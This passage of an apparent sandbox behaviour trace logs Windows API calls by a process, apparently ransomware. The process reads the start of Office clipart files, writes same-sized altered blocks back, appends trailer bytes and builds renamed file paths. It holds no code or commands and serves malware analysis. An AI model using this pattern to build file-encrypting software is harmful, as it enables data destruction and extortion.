Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x60df7f11 [0160.981] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x2ade419f [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x438586b6 [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x7c9717cf [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x24208ae4 [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x6183f7e2 [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x7beeb1e [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x77e79a2f [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x33d308cd [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x1babd5dc [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x4ba832a9 [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x75b87ace [0160.982] RtlRandomEx (in: Seed=0x3e26fbd0 | out: Seed=0x3e26fbd0) returned 0x5467e590 [0160.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e40 [0160.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0160.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2e70 [0160.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0160.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2e10) returned 1 [0160.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a29c0) returned 1 [0160.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046ff70 [0160.990] SetFilePointerEx (in: hFile=0xae8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.990] ReadFile (in: hFile=0xae8, lpBuffer=0x2046ff70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e26fc40, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesRead=0x3e26fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0165.332] SetFilePointerEx (in: hFile=0xae8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0165.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f400) returned 1 [0165.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c84990 [0165.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0165.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0165.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df90) returned 1 [0165.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.335] WriteFile (in: hFile=0xae8, lpBuffer=0x41c84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e26fc40, lpOverlapped=0x0 | out: lpBuffer=0x41c84990*, lpNumberOfBytesWritten=0x3e26fc40*=0x3c00, lpOverlapped=0x0) returned 1 [0165.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c84990) returned 1 [0165.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0165.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19e60 [0165.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0165.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0165.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ec0 [0165.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ec0) returned 1 [0165.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19ec0 [0165.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e90 [0165.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19d70 [0165.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d70) returned 1 [0165.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0165.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0165.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13550 [0165.861] SetFilePointerEx (in: hFile=0xae8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.861] WriteFile (in: hFile=0xae8, lpBuffer=0x1ce13550*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e26fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1ce13550*, lpNumberOfBytesWritten=0x3e26fcf0*=0x10a, lpOverlapped=0x0) returned 1 [0206.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0206.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaf60 [0206.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0206.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0206.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0206.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0206.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba90) returned 1 [0206.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaf60) returned 1 [0206.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0206.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fb70 [0206.762] sprintf (in: _Dest=0x1cd9fb70, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb72, _Format="%c%c" | out: _Dest="98") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb74, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb76, _Format="%c%c" | out: _Dest="50") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb78, _Format="%c%c" | out: _Dest="82") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb7a, _Format="%c%c" | out: _Dest="ab") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb7c, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.762] sprintf (in: _Dest=0x1cd9fb7e, _Format="%c%c" | out: _Dest="2a") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb80, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb82, _Format="%c%c" | out: _Dest="cb") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb84, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb86, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb88, _Format="%c%c" | out: _Dest="6d") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb8a, _Format="%c%c" | out: _Dest="8d") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb8c, _Format="%c%c" | out: _Dest="4b") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb8e, _Format="%c%c" | out: _Dest="89") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb90, _Format="%c%c" | out: _Dest="76") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb92, _Format="%c%c" | out: _Dest="cd") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb94, _Format="%c%c" | out: _Dest="0f") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb96, _Format="%c%c" | out: _Dest="7b") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb98, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="a1") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb9c, _Format="%c%c" | out: _Dest="2d") returned 2 [0206.763] sprintf (in: _Dest=0x1cd9fb9e, _Format="%c%c" | out: _Dest="67") returned 2 [0206.763] RtlInitAnsiString (in: DestinationString=0x3e26fd68, SourceString="eb983c5082abff2ac6cbd2d26d8d4b8976cd0f7bb1a12d67" | out: DestinationString="eb983c5082abff2ac6cbd2d26d8d4b8976cd0f7bb1a12d67") [0206.763] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e26fd38, SourceString="eb983c5082abff2ac6cbd2d26d8d4b8976cd0f7bb1a12d67", AllocateDestinationString=1 | out: DestinationString="eb983c5082abff2ac6cbd2d26d8d4b8976cd0f7bb1a12d67") returned 0x0 [0206.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3570 [0206.764] wcscat (in: _Dest=0x431c6a40, _Source="eb983c5082ab" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab" [0206.764] wcscat (in: _Dest=0x431c6a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab.2f9b60" [0206.764] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab.2f9b60", NtPathName=0x3e26fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb983c5082ab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4314c3a0 Thread: id = 2728 os_tid = 0x230c [0157.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) [0209.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF", dwFileAttributes=0x20) returned 1 [0243.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2d6c [0243.782] GetFileSizeEx (in: hFile=0x2d6c, lpFileSize=0x3e54fe40 | out: lpFileSize=0x3e54fe40*=11994) returned 1 [0243.782] SetFilePointerEx (in: hFile=0x2d6c, liDistanceToMove=0x2ed6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.783] ReadFile (in: hFile=0x2d6c, lpBuffer=0x3e54fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e54fe08, lpOverlapped=0x0 | out: lpBuffer=0x3e54fdc0*, lpNumberOfBytesRead=0x3e54fe08*=0x4, lpOverlapped=0x0) returned 1 [0243.797] SetFilePointerEx (in: hFile=0x2d6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3aa0 [0243.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1b50 [0243.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2060 [0243.800] NtQuerySystemTime (in: CurrentTime=0x3e54fd00 | out: CurrentTime=0x3e54fd00*=132462178476106000) returned 0x0 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x68f2df80 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0xfa1ac9a [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x230c095e [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x72f0be62 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x127ab68f [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x6348140d [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x7041a6a2 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x6d253e17 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x44b8f837 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x1336ee05 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x38e7b07 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x13be8f30 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x7a1cfff1 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x7569edfa [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x5362e305 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x1a7cdfba [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x44a152b8 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x12cfc2da [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x1b624850 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x53d69346 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x3ffb5945 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x5b3bdf4c [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x2256734a [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x5afa40aa [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x4513dee8 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x7f4073f0 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x79128a7 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x64dba0f3 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x755901e3 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x618e4b07 [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x6d41212c [0243.801] RtlRandomEx (in: Seed=0x3e54fcf0 | out: Seed=0x3e54fcf0) returned 0x4d7d57d3 [0243.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2150 [0243.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf400 [0243.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac20c0 [0243.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf400) returned 1 [0243.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2060) returned 1 [0243.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3aa0) returned 1 [0243.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0243.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebf400 [0243.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3aa0 [0243.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3aa0) returned 1 [0243.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42493da0 [0243.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246e500 [0243.816] ReadFile (in: hFile=0x2d6c, lpBuffer=0x42493da0, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x3e54fcf0, lpOverlapped=0x0 | out: lpBuffer=0x42493da0*, lpNumberOfBytesRead=0x3e54fcf0*=0x2eda, lpOverlapped=0x0) returned 1 [0244.534] SetFilePointerEx (in: hFile=0x2d6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.534] WriteFile (hFile=0x2d6c, lpBuffer=0x4246e500, nNumberOfBytesToWrite=0x2eda, lpNumberOfBytesWritten=0x3e54fcf4, lpOverlapped=0x0) Thread: id = 2729 os_tid = 0x2310 [0157.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) [0199.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF", dwFileAttributes=0x20) returned 1 [0237.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 2730 os_tid = 0x2314 [0157.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) [0204.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF", dwFileAttributes=0x20) returned 1 [0204.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a4 [0204.091] GetFileSizeEx (in: hFile=0x13a4, lpFileSize=0x4020fca0 | out: lpFileSize=0x4020fca0*=29212) returned 1 [0204.091] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x7218, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.092] ReadFile (in: hFile=0x13a4, lpBuffer=0x4020fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4020fc68, lpOverlapped=0x0 | out: lpBuffer=0x4020fc20*, lpNumberOfBytesRead=0x4020fc68*=0x4, lpOverlapped=0x0) returned 1 [0205.039] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0205.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b820 [0205.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053880 [0205.041] NtQuerySystemTime (in: CurrentTime=0x4020fb60 | out: CurrentTime=0x4020fb60*=132462178099054000) returned 0x0 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x482fc7af [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x7c88a735 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x5388c02f [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x507da78d [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x3ca68feb [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x11819f20 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x3c49e135 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x2454f21d [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x6bb8c80f [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x1bb2e545 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x503aad38 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x5c78be2e [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x33fda1c0 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x6bb8c80f [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x35e81d16 [0205.041] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x39c4d45c [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x76de7279 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0xa433fa7 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x8d0b71e [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x2d34130a [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x7bb6ca01 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x62ebf5fa [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x582aa03c [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x61c4fb8 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x750a3734 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x4c605f78 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x52f8f7eb [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x5c78be2e [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x3a64a81b [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x3ac82004 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x20ede2f4 [0205.042] RtlRandomEx (in: Seed=0x4020fb50 | out: Seed=0x4020fb50) returned 0x29f8d89d [0205.050] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.050] ReadFile (in: hFile=0x13a4, lpBuffer=0x41e40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4020fbc0, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesRead=0x4020fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.439] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0205.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ce0) returned 1 [0205.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ff5950 [0205.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0205.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0205.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261af0) returned 1 [0205.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.444] WriteFile (in: hFile=0x13a4, lpBuffer=0x41ff5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4020fbc0, lpOverlapped=0x0 | out: lpBuffer=0x41ff5950*, lpNumberOfBytesWritten=0x4020fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0208.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ff5950) returned 1 [0208.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0208.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f40f0 [0208.430] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0208.430] WriteFile (in: hFile=0x13a4, lpBuffer=0x42c143f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x4020fc70, lpOverlapped=0x0 | out: lpBuffer=0x42c143f0*, lpNumberOfBytesWritten=0x4020fc70*=0x10a, lpOverlapped=0x0) returned 1 [0210.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0210.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23d20 [0210.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0210.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aa70) returned 1 [0210.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0210.477] 